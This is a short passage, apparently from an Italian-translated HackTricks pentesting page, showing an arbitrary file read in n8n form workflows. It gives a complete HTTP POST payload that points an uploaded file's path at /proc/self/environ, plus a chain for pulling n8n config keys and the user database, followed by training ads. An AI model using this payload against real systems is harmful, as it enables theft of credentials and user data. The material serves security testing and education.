Example POST against a form workflow returning the uploaded binary in the HTTP response:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Backend copies file.filepath, quindi la risposta restituisce il contenuto di quel percorso. Catena comune: leggere /proc/self/environ per scoprire $HOME, poi $HOME/.n8n/config per le chiavi e $HOME/.n8n/database.sqlite per gli identificatori degli utenti.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks